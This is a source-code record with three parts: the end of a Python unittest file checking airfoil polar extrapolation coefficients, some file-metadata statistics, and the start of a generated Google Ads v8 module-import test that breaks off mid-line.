-0.4805, -0.5053, -0.4907, -0.4637, -0.6300, -0.5600, -0.6400, -0.4200, -0.2100, 0.0500, 0.3000, 0.5400, 0.7900, 0.9000, 0.9300, 0.9200, 0.9500, 0.9900, 1.0100, 1.0200, 1.0000, 0.9400, 0.8500, 0.7000, 0.6600, 0.7010, 0.7219, 0.6864, 0.5860, 0.4264, 0.2235, 0.0000, -0.1565, -0.2985, -0.4102, -0.4805, -0.5053, -0.4907, -0.4597, -0.2299, 0.0000] cd_extrap = [0.1770, 0.2132, 0.3173, 0.4758, 0.6686, 0.8708, 1.0560, 1.1996, 1.2818, 1.2900, 1.2818, 1.1996, 1.0560, 0.8708, 0.6686, 0.4758, 0.3158, 0.0390, 0.0233, 0.0131, 0.0134, 0.0119, 0.0122, 0.0116, 0.0144, 0.0146, 0.0162, 0.0274, 0.0303, 0.0369, 0.0509, 0.0648, 0.0776, 0.0917, 0.0994, 0.2306, 0.3142, 0.3186, 0.4758, 0.6686, 0.8708, 1.0560, 1.1996, 1.2818, 1.2900, 1.2818, 1.1996, 1.0560, 0.8708, 0.6686, 0.4758, 0.3173, 0.2132, 0.1770] cm_extrap = np.linspace(0, 0, len(cd_extrap)) # re-interpolate b/c angles of attack are different cl = np.interp(alpha_extrap, newpolar.alpha, newpolar.cl) cd = np.interp(alpha_extrap, newpolar.alpha, newpolar.cd) cm = np.interp(alpha_extrap, newpolar.alpha, newpolar.cm) # test equality np.testing.assert_allclose(cl, cl_extrap, atol=1.5e-4) np.testing.assert_allclose(cd, cd_extrap, atol=1.5e-4) np.testing.assert_allclose(cm, cm_extrap, atol=5e-3) def test_extrap2(self): cdmax = 1.0 newpolar = self.polar.extrapolate(cdmax=cdmax) alpha_extrap = [-180, -170, -160, -150, -140, -130, -120, -110, -100, -90, -80, -70, -60, -50, -40, -30, -20, -10.1, -8.2, -6.1, -4.1, -2.1, 0.1, 2, 4.1, 6.2, 8.1, 10.2, 11.3, 12.1, 13.2, 14.2, 15.3, 16.3, 17.1, 18.1, 19.1, 20.1, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180] cl_extrap = [0.0000, 0.2299, 0.4597, 0.4411, 0.4287, 0.3943, 0.3297, 0.2364, 0.1225, 0.0000, -0.1225, -0.2364, -0.3297, -0.3943, -0.4287, -0.4411, -0.4637, -0.6300, -0.5600, -0.6400, -0.4200, -0.2100, 0.0500, 0.3000, 0.5400, 0.7900, 0.9000, 0.9300, 0.9200, 0.9500, 0.9900, 1.0100, 1.0200, 1.0000, 0.9400, 0.8500, 0.7000, 0.6600, 0.6302, 0.6124, 0.5633, 0.4710, 0.3378, 0.1750, 0.0000, -0.1225, -0.2364, -0.3297, -0.3943, -0.4287, -0.4411, -0.4597, -0.2299, 0.0000] cd_extrap = [0.2135, 0.2404, 0.3176, 0.4349, 0.5767, 0.7241, 0.8568, 0.9560, 1.0069, 1.0000, 1.0069, 0.9560, 0.8568, 0.7241, 0.5767, 0.4349, 0.3158, 0.0390, 0.0233, 0.0131, 0.0134, 0.0119, 0.0122, 0.0116, 0.0144, 0.0146, 0.0162, 0.0274, 0.0303, 0.0369, 0.0509, 0.0648, 0.0776, 0.0917, 0.0994, 0.2306, 0.3142, 0.3186, 0.4349, 0.5767, 0.7241, 0.8568, 0.9560, 1.0069, 1.0000, 1.0069, 0.9560, 0.8568, 0.7241, 0.5767, 0.4349, 0.3176, 0.2404, 0.2135] cm_extrap = [0.0000, 0.4000, 0.2432, 0.2354, 0.2500, 0.2695, 0.2864, 0.2961, 0.2956, 0.2834, 0.2776, 0.2603, 0.2337, 0.2013, 0.1663, 0.1310, 0.0942, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1577, -0.1930, -0.2239, -0.2494, -0.2683, -0.2798, -0.2834, -0.2956, -0.2961, -0.2864, -0.2695, -0.2500, -0.2354, -0.2432, -0.5000, 0.0000] # re-interpolate b/c angles of attack are different cl = np.interp(alpha_extrap, newpolar.alpha, newpolar.cl) cd = np.interp(alpha_extrap, newpolar.alpha, newpolar.cd) cm = np.interp(alpha_extrap, newpolar.alpha, newpolar.cm) # test equality np.testing.assert_allclose(cl, cl_extrap, atol=1.5e-4) np.testing.assert_allclose(cd, cd_extrap, atol=1.5e-4) np.testing.assert_allclose(cm, cm_extrap, atol=5e-3) def test_extrap3(self): cdmax = 1.5 newpolar = self.polar.extrapolate(cdmax) alpha_extrap = [-180, -170, -160, -150, -140, -130, -120, -110, -100, -90, -80, -70, -60, -50, -40, -30, -20, -10.1, -8.2, -6.1, -4.1, -2.1, 0.1, 2, 4.1, 6.2, 8.1, 10.2, 11.3, 12.1, 13.2, 14.2, 15.3, 16.3, 17.1, 18.1, 19.1, 20.1, 30, 40, 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180] cl_extrap = [0.0000, 0.2299, 0.4597, 0.5266, 0.5608, 0.5429, 0.4685, 0.3434, 0.1810, 0.0000, -0.1810, -0.3434, -0.4685, -0.5429, -0.5608, -0.5266, -0.4637, -0.6300, -0.5600, -0.6400, -0.4200, -0.2100, 0.0500, 0.3000, 0.5400, 0.7900, 0.9000, 0.9300, 0.9200, 0.9500, 0.9900, 1.0100, 1.0200, 1.0000, 0.9400, 0.8500, 0.7000, 0.6600, 0.7523, 0.8012, 0.7756, 0.6693, 0.4906, 0.2586, 0.0000, -0.1810, -0.3434, -0.4685, -0.5429, -0.5608, -0.5266, -0.4597, -0.2299, 0.0000] cd_extrap = [0.1506, 0.1936, 0.3170, 0.5054, 0.7351, 0.9771, 1.2003, 1.3760, 1.4809, 1.5000, 1.4809, 1.3760, 1.2003, 0.9771, 0.7351, 0.5054, 0.3158, 0.0390, 0.0233, 0.0131, 0.0134, 0.0119, 0.0122, 0.0116, 0.0144, 0.0146, 0.0162, 0.0274, 0.0303, 0.0369, 0.0509, 0.0648, 0.0776, 0.0917, 0.0994, 0.2306, 0.3142, 0.3186, 0.5054, 0.7351, 0.9771, 1.2003, 1.3760, 1.4809, 1.5000, 1.4809, 1.3760, 1.2003, 0.9771, 0.7351, 0.5054, 0.3170, 0.1936, 0.1506] cm_extrap = [0.0000, 0.4000, 0.2431, 0.2723, 0.3130, 0.3540, 0.3888, 0.4118, 0.4190, 0.4084, 0.3926, 0.3602, 0.3148, 0.2614, 0.2049, 0.1488, 0.0942, -0.0044, -0.0051, 0.0018, -0.0216, -0.0282, -0.0346, -0.0405, -0.0455, -0.0507, -0.0404, -0.0321, -0.0281, -0.0284, -0.0322, -0.0361, -0.0363, -0.0393, -0.0398, -0.0983, -0.1242, -0.1155, -0.1807, -0.2399, -0.2925, -0.3370, -0.3719, -0.3959, -0.4084, -0.4190, -0.4118, -0.3888, -0.3540, -0.3130, -0.2723, -0.2431, -0.5000, 0.0000] # re-interpolate b/c angles of attack are different cl = np.interp(alpha_extrap, newpolar.alpha, newpolar.cl) cd = np.interp(alpha_extrap, newpolar.alpha, newpolar.cd) cm = np.interp(alpha_extrap, newpolar.alpha, newpolar.cm) # test equality np.testing.assert_allclose(cl, cl_extrap, atol=1.5e-4) np.testing.assert_allclose(cd, cd_extrap, atol=1.5e-4) np.testing.assert_allclose(cm, cm_extrap, atol=5e-3) # class TestSpline(unittest.TestCase): # def setUp(self): # Re = 1.0 # alpha = [1.0, 2.0, 3.0, 4.0, 5.0] # cl = [0.1, 0.2, 0.3, 0.4, 0.5] # cd = [0.001, 0.002, 0.003, 0.004, 0.005] # self.p1 = Polar(Re, alpha, cl, cd) # Re = 2.0 # alpha = [1.0, 2.0, 3.0, 4.0, 5.0] # cl = [0.12, 0.22, 0.32, 0.42, 0.52] # cd = [0.0012, 0.0022, 0.0032, 0.0042, 0.0052] # self.p2 = Polar(Re, alpha, cl, cd) # def test_spline1(self): # af = Airfoil([self.p1, self.p2]) # cl, cd, cm = af.evaluate(1.5, 1.0) # self.assertAlmostEqual(cl, 0.15) # self.assertAlmostEqual(cd, 0.0015) # cl, cd, cm = af.evaluate(1.5, 1.5) # self.assertAlmostEqual(cl, 0.16) # self.assertAlmostEqual(cd, 0.0016) def suite(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(TestBlend)) suite.addTest(unittest.makeSuite(Test3DStall)) suite.addTest(unittest.makeSuite(TestExtrap)) return suite if __name__ == '__main__': unittest.TextTestRunner().run(suite())
50.740385
84
0.488156
5,400
31,662
2.823148
0.165
0.021253
0.035421
0.054313
0.745425
0.733158
0.725221
0.723975
0.712562
0.705805
0
0.462313
0.325785
31,662
623
85
50.82183
0.251839
0.055303
0
0.609244
0
0
0.000268
0
0
0
0
0
0.07563
1
0.035714
false
0
0.008403
0
0.052521
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d656e7928cb7585c4028e8402bae2b08463eb838
437,157
py
Python
google/ads/googleads/v8/googleads-py/tests/unit/gapic/googleads.v8/test_module_import.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
7
2021-02-21T10:39:41.000Z
2021-12-07T07:31:28.000Z
google/ads/googleads/v8/googleads-py/tests/unit/gapic/googleads.v8/test_module_import.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
6
2021-02-02T23:46:11.000Z
2021-11-15T01:46:02.000Z
google/ads/googleads/v8/googleads-py/tests/unit/gapic/googleads.v8/test_module_import.py
googleapis/googleapis-gen
d84824c78563d59b0e58d5664bfaa430e9ad7e7a
[ "Apache-2.0" ]
4
2021-01-28T23:25:45.000Z
2021-08-30T01:55:16.000Z
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import pytest def test_module_level_imports(): expected_names = [] # Message types from google.ads.googleads import PolicyTopicEntryTypeEnum expected_names.append(PolicyTopicEntryTypeEnum.__name__) from google.ads.googleads import PolicyTopicEvidenceDestinationMismatchUrlTypeEnum expected_names.append(PolicyTopicEvidenceDestinationMismatchUrlTypeEnum.__name__) from google.ads.googleads import PolicyTopicEvidenceDestinationNotWorkingDeviceEnum expected_names.append(PolicyTopicEvidenceDestinationNotWorkingDeviceEnum.__name__) from google.ads.googleads import PolicyTopicEvidenceDestinationNotWorkingDnsErrorTypeEnum expected_names.append(PolicyTopicEvidenceDestinationNotWorkingDnsErrorTypeEnum.__name__) from google.ads.googleads import PolicyViolationKey expected_names.append(PolicyViolationKey.__name__) from google.ads.googleads import PolicyValidationParameter expected_names.append(PolicyValidationParameter.__name__) from google.ads.googleads import PolicyTopicEntry expected_names.append(PolicyTopicEntry.__name__) from google.ads.googleads import PolicyTopicEvidence expected_names.append(PolicyTopicEvidence.__name__) from google.ads.googleads import PolicyTopicConstraint expected_names.append(PolicyTopicConstraint.__name__) from google.ads.googleads import PolicyApprovalStatusEnum expected_names.append(PolicyApprovalStatusEnum.__name__) from google.ads.googleads import PolicyReviewStatusEnum expected_names.append(PolicyReviewStatusEnum.__name__) from google.ads.googleads import AdAssetPolicySummary expected_names.append(AdAssetPolicySummary.__name__) from google.ads.googleads import AssetPerformanceLabelEnum expected_names.append(AssetPerformanceLabelEnum.__name__) from google.ads.googleads import ServedAssetFieldTypeEnum expected_names.append(ServedAssetFieldTypeEnum.__name__) from google.ads.googleads import AdTextAsset expected_names.append(AdTextAsset.__name__) from google.ads.googleads import AdImageAsset expected_names.append(AdImageAsset.__name__) from google.ads.googleads import AdVideoAsset expected_names.append(AdVideoAsset.__name__) from google.ads.googleads import AdMediaBundleAsset expected_names.append(AdMediaBundleAsset.__name__) from google.ads.googleads import CallConversionReportingStateEnum expected_names.append(CallConversionReportingStateEnum.__name__) from google.ads.googleads import DisplayAdFormatSettingEnum expected_names.append(DisplayAdFormatSettingEnum.__name__) from google.ads.googleads import DisplayUploadProductTypeEnum expected_names.append(DisplayUploadProductTypeEnum.__name__) from google.ads.googleads import LegacyAppInstallAdAppStoreEnum expected_names.append(LegacyAppInstallAdAppStoreEnum.__name__) from google.ads.googleads import MimeTypeEnum expected_names.append(MimeTypeEnum.__name__) from google.ads.googleads import TextAdInfo expected_names.append(TextAdInfo.__name__) from google.ads.googleads import ExpandedTextAdInfo expected_names.append(ExpandedTextAdInfo.__name__) from google.ads.googleads import ExpandedDynamicSearchAdInfo expected_names.append(ExpandedDynamicSearchAdInfo.__name__) from google.ads.googleads import HotelAdInfo expected_names.append(HotelAdInfo.__name__) from google.ads.googleads import ShoppingSmartAdInfo expected_names.append(ShoppingSmartAdInfo.__name__) from google.ads.googleads import ShoppingProductAdInfo expected_names.append(ShoppingProductAdInfo.__name__) from google.ads.googleads import ShoppingComparisonListingAdInfo expected_names.append(ShoppingComparisonListingAdInfo.__name__) from google.ads.googleads import GmailAdInfo expected_names.append(GmailAdInfo.__name__) from google.ads.googleads import GmailTeaser expected_names.append(GmailTeaser.__name__) from google.ads.googleads import DisplayCallToAction expected_names.append(DisplayCallToAction.__name__) from google.ads.googleads import ProductImage expected_names.append(ProductImage.__name__) from google.ads.googleads import ProductVideo expected_names.append(ProductVideo.__name__) from google.ads.googleads import ImageAdInfo expected_names.append(ImageAdInfo.__name__) from google.ads.googleads import VideoBumperInStreamAdInfo expected_names.append(VideoBumperInStreamAdInfo.__name__) from google.ads.googleads import VideoNonSkippableInStreamAdInfo expected_names.append(VideoNonSkippableInStreamAdInfo.__name__) from google.ads.googleads import VideoTrueViewInStreamAdInfo expected_names.append(VideoTrueViewInStreamAdInfo.__name__) from google.ads.googleads import VideoOutstreamAdInfo expected_names.append(VideoOutstreamAdInfo.__name__) from google.ads.googleads import VideoTrueViewDiscoveryAdInfo expected_names.append(VideoTrueViewDiscoveryAdInfo.__name__) from google.ads.googleads import VideoAdInfo expected_names.append(VideoAdInfo.__name__) from google.ads.googleads import VideoResponsiveAdInfo expected_names.append(VideoResponsiveAdInfo.__name__) from google.ads.googleads import ResponsiveSearchAdInfo expected_names.append(ResponsiveSearchAdInfo.__name__) from google.ads.googleads import LegacyResponsiveDisplayAdInfo expected_names.append(LegacyResponsiveDisplayAdInfo.__name__) from google.ads.googleads import AppAdInfo expected_names.append(AppAdInfo.__name__) from google.ads.googleads import AppEngagementAdInfo expected_names.append(AppEngagementAdInfo.__name__) from google.ads.googleads import LegacyAppInstallAdInfo expected_names.append(LegacyAppInstallAdInfo.__name__) from google.ads.googleads import ResponsiveDisplayAdInfo expected_names.append(ResponsiveDisplayAdInfo.__name__) from google.ads.googleads import LocalAdInfo expected_names.append(LocalAdInfo.__name__) from google.ads.googleads import DisplayUploadAdInfo expected_names.append(DisplayUploadAdInfo.__name__) from google.ads.googleads import ResponsiveDisplayAdControlSpec expected_names.append(ResponsiveDisplayAdControlSpec.__name__) from google.ads.googleads import SmartCampaignAdInfo expected_names.append(SmartCampaignAdInfo.__name__) from google.ads.googleads import CallAdInfo expected_names.append(CallAdInfo.__name__) from google.ads.googleads import AgeRangeTypeEnum expected_names.append(AgeRangeTypeEnum.__name__) from google.ads.googleads import AppPaymentModelTypeEnum expected_names.append(AppPaymentModelTypeEnum.__name__) from google.ads.googleads import ContentLabelTypeEnum expected_names.append(ContentLabelTypeEnum.__name__) from google.ads.googleads import DayOfWeekEnum expected_names.append(DayOfWeekEnum.__name__) from google.ads.googleads import DeviceEnum expected_names.append(DeviceEnum.__name__) from google.ads.googleads import GenderTypeEnum expected_names.append(GenderTypeEnum.__name__) from google.ads.googleads import HotelDateSelectionTypeEnum expected_names.append(HotelDateSelectionTypeEnum.__name__) from google.ads.googleads import IncomeRangeTypeEnum expected_names.append(IncomeRangeTypeEnum.__name__) from google.ads.googleads import InteractionTypeEnum expected_names.append(InteractionTypeEnum.__name__) from google.ads.googleads import KeywordMatchTypeEnum expected_names.append(KeywordMatchTypeEnum.__name__) from google.ads.googleads import ListingGroupTypeEnum expected_names.append(ListingGroupTypeEnum.__name__) from google.ads.googleads import LocationGroupRadiusUnitsEnum expected_names.append(LocationGroupRadiusUnitsEnum.__name__) from google.ads.googleads import MinuteOfHourEnum expected_names.append(MinuteOfHourEnum.__name__) from google.ads.googleads import ParentalStatusTypeEnum expected_names.append(ParentalStatusTypeEnum.__name__) from google.ads.googleads import PreferredContentTypeEnum expected_names.append(PreferredContentTypeEnum.__name__) from google.ads.googleads import ProductBiddingCategoryLevelEnum expected_names.append(ProductBiddingCategoryLevelEnum.__name__) from google.ads.googleads import ProductChannelEnum expected_names.append(ProductChannelEnum.__name__) from google.ads.googleads import ProductChannelExclusivityEnum expected_names.append(ProductChannelExclusivityEnum.__name__) from google.ads.googleads import ProductConditionEnum expected_names.append(ProductConditionEnum.__name__) from google.ads.googleads import ProductCustomAttributeIndexEnum expected_names.append(ProductCustomAttributeIndexEnum.__name__) from google.ads.googleads import ProductTypeLevelEnum expected_names.append(ProductTypeLevelEnum.__name__) from google.ads.googleads import ProximityRadiusUnitsEnum expected_names.append(ProximityRadiusUnitsEnum.__name__) from google.ads.googleads import WebpageConditionOperandEnum expected_names.append(WebpageConditionOperandEnum.__name__) from google.ads.googleads import WebpageConditionOperatorEnum expected_names.append(WebpageConditionOperatorEnum.__name__) from google.ads.googleads import KeywordInfo expected_names.append(KeywordInfo.__name__) from google.ads.googleads import PlacementInfo expected_names.append(PlacementInfo.__name__) from google.ads.googleads import MobileAppCategoryInfo expected_names.append(MobileAppCategoryInfo.__name__) from google.ads.googleads import MobileApplicationInfo expected_names.append(MobileApplicationInfo.__name__) from google.ads.googleads import LocationInfo expected_names.append(LocationInfo.__name__) from google.ads.googleads import DeviceInfo expected_names.append(DeviceInfo.__name__) from google.ads.googleads import PreferredContentInfo expected_names.append(PreferredContentInfo.__name__) from google.ads.googleads import ListingGroupInfo expected_names.append(ListingGroupInfo.__name__) from google.ads.googleads import ListingScopeInfo expected_names.append(ListingScopeInfo.__name__) from google.ads.googleads import ListingDimensionInfo expected_names.append(ListingDimensionInfo.__name__) from google.ads.googleads import HotelIdInfo expected_names.append(HotelIdInfo.__name__) from google.ads.googleads import HotelClassInfo expected_names.append(HotelClassInfo.__name__) from google.ads.googleads import HotelCountryRegionInfo expected_names.append(HotelCountryRegionInfo.__name__) from google.ads.googleads import HotelStateInfo expected_names.append(HotelStateInfo.__name__) from google.ads.googleads import HotelCityInfo expected_names.append(HotelCityInfo.__name__) from google.ads.googleads import ProductBiddingCategoryInfo expected_names.append(ProductBiddingCategoryInfo.__name__) from google.ads.googleads import ProductBrandInfo expected_names.append(ProductBrandInfo.__name__) from google.ads.googleads import ProductChannelInfo expected_names.append(ProductChannelInfo.__name__) from google.ads.googleads import ProductChannelExclusivityInfo expected_names.append(ProductChannelExclusivityInfo.__name__) from google.ads.googleads import ProductConditionInfo expected_names.append(ProductConditionInfo.__name__) from google.ads.googleads import ProductCustomAttributeInfo expected_names.append(ProductCustomAttributeInfo.__name__) from google.ads.googleads import ProductItemIdInfo expected_names.append(ProductItemIdInfo.__name__) from google.ads.googleads import ProductTypeInfo expected_names.append(ProductTypeInfo.__name__) from google.ads.googleads import UnknownListingDimensionInfo expected_names.append(UnknownListingDimensionInfo.__name__) from google.ads.googleads import HotelDateSelectionTypeInfo expected_names.append(HotelDateSelectionTypeInfo.__name__) from google.ads.googleads import HotelAdvanceBookingWindowInfo expected_names.append(HotelAdvanceBookingWindowInfo.__name__) from google.ads.googleads import HotelLengthOfStayInfo expected_names.append(HotelLengthOfStayInfo.__name__) from google.ads.googleads import HotelCheckInDateRangeInfo expected_names.append(HotelCheckInDateRangeInfo.__name__) from google.ads.googleads import HotelCheckInDayInfo expected_names.append(HotelCheckInDayInfo.__name__) from google.ads.googleads import InteractionTypeInfo expected_names.append(InteractionTypeInfo.__name__) from google.ads.googleads import AdScheduleInfo expected_names.append(AdScheduleInfo.__name__) from google.ads.googleads import AgeRangeInfo expected_names.append(AgeRangeInfo.__name__) from google.ads.googleads import GenderInfo expected_names.append(GenderInfo.__name__) from google.ads.googleads import IncomeRangeInfo expected_names.append(IncomeRangeInfo.__name__) from google.ads.googleads import ParentalStatusInfo expected_names.append(ParentalStatusInfo.__name__) from google.ads.googleads import YouTubeVideoInfo expected_names.append(YouTubeVideoInfo.__name__) from google.ads.googleads import YouTubeChannelInfo expected_names.append(YouTubeChannelInfo.__name__) from google.ads.googleads import UserListInfo expected_names.append(UserListInfo.__name__) from google.ads.googleads import ProximityInfo expected_names.append(ProximityInfo.__name__) from google.ads.googleads import GeoPointInfo expected_names.append(GeoPointInfo.__name__) from google.ads.googleads import AddressInfo expected_names.append(AddressInfo.__name__) from google.ads.googleads import TopicInfo expected_names.append(TopicInfo.__name__) from google.ads.googleads import LanguageInfo expected_names.append(LanguageInfo.__name__) from google.ads.googleads import IpBlockInfo expected_names.append(IpBlockInfo.__name__) from google.ads.googleads import ContentLabelInfo expected_names.append(ContentLabelInfo.__name__) from google.ads.googleads import CarrierInfo expected_names.append(CarrierInfo.__name__) from google.ads.googleads import UserInterestInfo expected_names.append(UserInterestInfo.__name__) from google.ads.googleads import WebpageInfo expected_names.append(WebpageInfo.__name__) from google.ads.googleads import WebpageConditionInfo expected_names.append(WebpageConditionInfo.__name__) from google.ads.googleads import WebpageSampleInfo expected_names.append(WebpageSampleInfo.__name__) from google.ads.googleads import OperatingSystemVersionInfo expected_names.append(OperatingSystemVersionInfo.__name__) from google.ads.googleads import AppPaymentModelInfo expected_names.append(AppPaymentModelInfo.__name__) from google.ads.googleads import MobileDeviceInfo expected_names.append(MobileDeviceInfo.__name__) from google.ads.googleads import CustomAffinityInfo expected_names.append(CustomAffinityInfo.__name__) from google.ads.googleads import CustomIntentInfo expected_names.append(CustomIntentInfo.__name__) from google.ads.googleads import LocationGroupInfo expected_names.append(LocationGroupInfo.__name__) from google.ads.googleads import CustomAudienceInfo expected_names.append(CustomAudienceInfo.__name__) from google.ads.googleads import CombinedAudienceInfo expected_names.append(CombinedAudienceInfo.__name__) from google.ads.googleads import KeywordThemeInfo expected_names.append(KeywordThemeInfo.__name__) from google.ads.googleads import Money expected_names.append(Money.__name__) from google.ads.googleads import LeadFormCallToActionTypeEnum expected_names.append(LeadFormCallToActionTypeEnum.__name__) from google.ads.googleads import LeadFormDesiredIntentEnum expected_names.append(LeadFormDesiredIntentEnum.__name__) from google.ads.googleads import LeadFormFieldUserInputTypeEnum expected_names.append(LeadFormFieldUserInputTypeEnum.__name__) from google.ads.googleads import LeadFormPostSubmitCallToActionTypeEnum expected_names.append(LeadFormPostSubmitCallToActionTypeEnum.__name__) from google.ads.googleads import PromotionExtensionDiscountModifierEnum expected_names.append(PromotionExtensionDiscountModifierEnum.__name__) from google.ads.googleads import PromotionExtensionOccasionEnum expected_names.append(PromotionExtensionOccasionEnum.__name__) from google.ads.googleads import YoutubeVideoAsset expected_names.append(YoutubeVideoAsset.__name__) from google.ads.googleads import MediaBundleAsset expected_names.append(MediaBundleAsset.__name__) from google.ads.googleads import ImageAsset expected_names.append(ImageAsset.__name__) from google.ads.googleads import ImageDimension expected_names.append(ImageDimension.__name__) from google.ads.googleads import TextAsset expected_names.append(TextAsset.__name__) from google.ads.googleads import LeadFormAsset expected_names.append(LeadFormAsset.__name__) from google.ads.googleads import LeadFormField expected_names.append(LeadFormField.__name__) from google.ads.googleads import LeadFormSingleChoiceAnswers expected_names.append(LeadFormSingleChoiceAnswers.__name__) from google.ads.googleads import LeadFormDeliveryMethod expected_names.append(LeadFormDeliveryMethod.__name__) from google.ads.googleads import WebhookDelivery expected_names.append(WebhookDelivery.__name__) from google.ads.googleads import BookOnGoogleAsset expected_names.append(BookOnGoogleAsset.__name__) from google.ads.googleads import PromotionAsset expected_names.append(PromotionAsset.__name__) from google.ads.googleads import CalloutAsset expected_names.append(CalloutAsset.__name__) from google.ads.googleads import StructuredSnippetAsset expected_names.append(StructuredSnippetAsset.__name__) from google.ads.googleads import SitelinkAsset expected_names.append(SitelinkAsset.__name__) from google.ads.googleads import TargetImpressionShareLocationEnum expected_names.append(TargetImpressionShareLocationEnum.__name__) from google.ads.googleads import Commission expected_names.append(Commission.__name__) from google.ads.googleads import EnhancedCpc expected_names.append(EnhancedCpc.__name__) from google.ads.googleads import ManualCpc expected_names.append(ManualCpc.__name__) from google.ads.googleads import ManualCpm expected_names.append(ManualCpm.__name__) from google.ads.googleads import ManualCpv expected_names.append(ManualCpv.__name__) from google.ads.googleads import MaximizeConversions expected_names.append(MaximizeConversions.__name__) from google.ads.googleads import MaximizeConversionValue expected_names.append(MaximizeConversionValue.__name__) from google.ads.googleads import TargetCpa expected_names.append(TargetCpa.__name__) from google.ads.googleads import TargetCpm expected_names.append(TargetCpm.__name__) from google.ads.googleads import TargetImpressionShare expected_names.append(TargetImpressionShare.__name__) from google.ads.googleads import TargetRoas expected_names.append(TargetRoas.__name__) from google.ads.googleads import TargetSpend expected_names.append(TargetSpend.__name__) from google.ads.googleads import PercentCpc expected_names.append(PercentCpc.__name__) from google.ads.googleads import ClickLocation expected_names.append(ClickLocation.__name__) from google.ads.googleads import AdvertisingChannelSubTypeEnum expected_names.append(AdvertisingChannelSubTypeEnum.__name__) from google.ads.googleads import AdvertisingChannelTypeEnum expected_names.append(AdvertisingChannelTypeEnum.__name__) from google.ads.googleads import CriterionCategoryChannelAvailabilityModeEnum expected_names.append(CriterionCategoryChannelAvailabilityModeEnum.__name__) from google.ads.googleads import CriterionCategoryLocaleAvailabilityModeEnum expected_names.append(CriterionCategoryLocaleAvailabilityModeEnum.__name__) from google.ads.googleads import CriterionCategoryAvailability expected_names.append(CriterionCategoryAvailability.__name__) from google.ads.googleads import CriterionCategoryChannelAvailability expected_names.append(CriterionCategoryChannelAvailability.__name__) from google.ads.googleads import CriterionCategoryLocaleAvailability expected_names.append(CriterionCategoryLocaleAvailability.__name__) from google.ads.googleads import CustomParameter expected_names.append(CustomParameter.__name__) from google.ads.googleads import MonthOfYearEnum expected_names.append(MonthOfYearEnum.__name__) from google.ads.googleads import DateRange expected_names.append(DateRange.__name__) from google.ads.googleads import YearMonthRange expected_names.append(YearMonthRange.__name__) from google.ads.googleads import YearMonth expected_names.append(YearMonth.__name__) from google.ads.googleads import ExplorerAutoOptimizerSetting expected_names.append(ExplorerAutoOptimizerSetting.__name__) from google.ads.googleads import AppStoreEnum expected_names.append(AppStoreEnum.__name__) from google.ads.googleads import PriceExtensionPriceQualifierEnum expected_names.append(PriceExtensionPriceQualifierEnum.__name__) from google.ads.googleads import PriceExtensionPriceUnitEnum expected_names.append(PriceExtensionPriceUnitEnum.__name__) from google.ads.googleads import PriceExtensionTypeEnum expected_names.append(PriceExtensionTypeEnum.__name__) from google.ads.googleads import AppFeedItem expected_names.append(AppFeedItem.__name__) from google.ads.googleads import CallFeedItem expected_names.append(CallFeedItem.__name__) from google.ads.googleads import CalloutFeedItem expected_names.append(CalloutFeedItem.__name__) from google.ads.googleads import LocationFeedItem expected_names.append(LocationFeedItem.__name__) from google.ads.googleads import AffiliateLocationFeedItem expected_names.append(AffiliateLocationFeedItem.__name__) from google.ads.googleads import TextMessageFeedItem expected_names.append(TextMessageFeedItem.__name__) from google.ads.googleads import PriceFeedItem expected_names.append(PriceFeedItem.__name__) from google.ads.googleads import PriceOffer expected_names.append(PriceOffer.__name__) from google.ads.googleads import PromotionFeedItem expected_names.append(PromotionFeedItem.__name__) from google.ads.googleads import StructuredSnippetFeedItem expected_names.append(StructuredSnippetFeedItem.__name__) from google.ads.googleads import SitelinkFeedItem expected_names.append(SitelinkFeedItem.__name__) from google.ads.googleads import HotelCalloutFeedItem expected_names.append(HotelCalloutFeedItem.__name__) from google.ads.googleads import ImageFeedItem expected_names.append(ImageFeedItem.__name__) from google.ads.googleads import FeedItemSetStringFilterTypeEnum expected_names.append(FeedItemSetStringFilterTypeEnum.__name__) from google.ads.googleads import DynamicLocationSetFilter expected_names.append(DynamicLocationSetFilter.__name__) from google.ads.googleads import BusinessNameFilter expected_names.append(BusinessNameFilter.__name__) from google.ads.googleads import DynamicAffiliateLocationSetFilter expected_names.append(DynamicAffiliateLocationSetFilter.__name__) from google.ads.googleads import AppUrlOperatingSystemTypeEnum expected_names.append(AppUrlOperatingSystemTypeEnum.__name__) from google.ads.googleads import FinalAppUrl expected_names.append(FinalAppUrl.__name__) from google.ads.googleads import FrequencyCapEventTypeEnum expected_names.append(FrequencyCapEventTypeEnum.__name__) from google.ads.googleads import FrequencyCapLevelEnum expected_names.append(FrequencyCapLevelEnum.__name__) from google.ads.googleads import FrequencyCapTimeUnitEnum expected_names.append(FrequencyCapTimeUnitEnum.__name__) from google.ads.googleads import FrequencyCapEntry expected_names.append(FrequencyCapEntry.__name__) from google.ads.googleads import FrequencyCapKey expected_names.append(FrequencyCapKey.__name__) from google.ads.googleads import KeywordPlanAggregateMetricTypeEnum expected_names.append(KeywordPlanAggregateMetricTypeEnum.__name__) from google.ads.googleads import KeywordPlanCompetitionLevelEnum expected_names.append(KeywordPlanCompetitionLevelEnum.__name__) from google.ads.googleads import KeywordPlanConceptGroupTypeEnum expected_names.append(KeywordPlanConceptGroupTypeEnum.__name__) from google.ads.googleads import KeywordPlanHistoricalMetrics expected_names.append(KeywordPlanHistoricalMetrics.__name__) from 